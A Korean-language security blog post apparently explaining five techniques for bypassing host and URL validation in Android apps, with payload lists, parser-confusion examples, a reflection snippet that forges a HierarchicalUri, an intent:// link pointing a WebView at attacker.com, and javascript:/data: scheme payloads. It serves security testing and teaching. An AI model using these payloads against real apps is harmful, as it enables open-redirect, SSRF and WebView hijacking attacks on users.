Bypass host validation Technique in Android (Common+Golden+MyThink)

SSRF, CSRF, Open Redirect 등 사용자로부터 입력받은 URL을 검증해야할 일은 많습니다. 직접 검증 로직을 하나하나 구현하는 방법도 있지만, 보통은 각 언어에서 제공하는 메소드를 통해 host, scheme를 분리한 후 검증하는 것이 좋은 방법입니다.

오늘은 Android에서 Host 검증(URL검증)을 우회하는 방법 5가지에 대해 이야기할까 합니다. 글쓰기에 앞서 @bagipro 의 글이 엄청 도움되었습니다. 꼭 읽어보시길 바랍니다. (https://hackerone.com/reports/431002)

Bypass String pattern (if string match protection)

기본적인 문자열 우회 패턴입니다.

payload

http://trustdomain.com.untrust.com
http://trustdomain.com@untrust.com
http://untrust.com#.trustdomain.com
http://untrust.com?.trustdomain.com
http://untrust.com.trustdomain.com
http://untrust.com\@trustdomain.com
http://untrust.com\@@trustdomain.com
http://untrust.com:\@@trustdomain.com
http://untrust.com#\@trustdomain.com
http://localhost.hahwul.com/server-status

# if blacklist protection,
http://ⓊⓃⓉⓇⓊⓈⓉ.ⒸⓄⓂ
http://ⓤⓝⓣⓡⓤⓢⓣ.ⓒⓞⓜ
http://⒰⒩⒯⒭⒰⒮⒯.⒞⒪⒨

https://www.hahwul.com/p/ssrf-open-redirect-cheat-sheet.html https://www.hahwul.com/p/tools.html > menu > URL Pattern

\ + @ (if getHost() protection)

두번째, \+@ 를 이용해서 android getHost() 을 우회하는 방법입니다.

payload

https://untrust.com\\@trustdomain.com/

android.net.uri와 java.net.URI의 파싱 차이가 있어서 같은 URL도 다르게 해석합니다.

String url = "http://attacker.com\\\\@trustdomain.com";

// [ java ]
Log.d("Wow", Uri.parse(url).getHost()); 
// print trustdomain.com

// [ android ]
webView.loadUrl(url, getAuthorizationHeaders()); 
// print attacker.com

일부 안드로이드 앱들은 webview를 사용하기 전 앞단에서 getHost를 통해 호스트 주소를 가져와서 비교하는데, java쪽의 Uri.parse에서 getHost()를 호출해서 비교하는 경우 웹뷰(안드로이드)에서 사용되는 Uri와 파싱 형태가 다르기 때문에 서로 다른 주소라고 판단시킬 수 있습니다. 이점은 Era of ssrf와 유사하죠.

HierarchicalUri를 이용한 임의 URI 객체 생성(if getHost() protection)

잘못된 URI가 입력되었을 때 URI 파서 자체에서 에러가 발생해서 공격코드로 만들기 힘든 경우가 있는데 HierarchicalUri 는 임의 URL 주소가 포함된 객체를 만들 수 있어 URI 파서에 의존한 공격코드를 무력화 할 수 있습니다.

HierarchicalUri 객체를 보면 인스턴스를 만들 때 호스트와 path를 전달해주는데 이 때 host는 trustdomain.com path는 @untrustdomain.com URI 파서 에러를 발생시키지 않는 비정상적인 URI 객체 생성이 가능합니다.

uri = (Uri) hierarchicalUriConstructor.newInstance("https", "trustdomain.com", "@untrust.com", null, null);

// uri : trustdomain.com@untrust.com

code

Class partClass = Class.forName("android.net.Uri$Part");
            Constructor partConstructor = partClass.getDeclaredConstructors()[0];
            partConstructor.setAccessible(true);

            Class pathPartClass = Class.forName("android.net.Uri$PathPart");
            Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
            pathPartConstructor.setAccessible(true);

            Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
            Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
            hierarchicalUriConstructor.setAccessible(true);

            Object authority = partConstructor.newInstance("trustdomain.com", "trustdomain.com");
            Object path = pathPartConstructor.newInstance("@attacker.com", "@attacker.com");
            uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);

요약하자면, URI 객체를 하나 만들어서 전달한다고 보시면 됩니다. (url 주소를 받는 부분에서 검증하지 않는다면, 검증 로직을 속일 수 있죠)

Intent(if getHost() protection)

웹과 모바일간에 intent-filter를 통해서 데이터를 포함하여 이동이 가능한데, 이 때 안드로이드에서의 getHost()는 intent-filter 에 정의된 host를 바라본다고 합니다. (잘 모르던 방법이라 확실하진 않는데, 제가 이해하기론 그렇습니다. 직접 케이스가 나와봐야… 머리에 남을 것 같네요)

..snip..
            <category android:name="android.intent.category.BROWSABLE"/>
            <data android:scheme="https" android:host="trustdomain.com"/>
        </intent-filter>
    </activity>

Payload

<a href="intent://not_used/#Intent;scheme=https://attacker.com\\@trustdomain.com/;end">
    test
</a>
  • getHost : trustdomain.com
  • webview : attacker.com

아래 링크 참고하시면… https://hackerone.com/reports/328486

Missing Scheme(if getHost() protection)

getScheme을 통해 스킴을 검증하지 않고 단순하게 getHost()만 사용하거나 스킴 검증 로직에 문제가 있을 경우 이런 패턴으로 공격이 가능합니다.

javascript://trustdomain.com/%0aalert(45)//
data://trustdomain.com,alert(45)

웹에서도 비슷합니다. 제 트윗 하나를 참고해주세요!

file://trustdomain.com/sdcard/payload.html

bypass! bypass!

URL: Prefix

마지막으로 URL Prefix를 이용한 방법입니다. protocol 검증을 우회할 수 있는 방법입니다.

url:https://www.hahwul.com

자세한 내용은 “URL: prefix를 이용하여 Deny-list 기반 Protocol 검증 우회하기” 글을 참고해주세요!

References

  • https://hackerone.com/reports/431002
  • https://www.hahwul.com/p/ssrf-open-redirect-cheat-sheet.html
  • https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
  • https://www.hahwul.com/2022/02/28/bypass-protocol-check-with-url-protocol/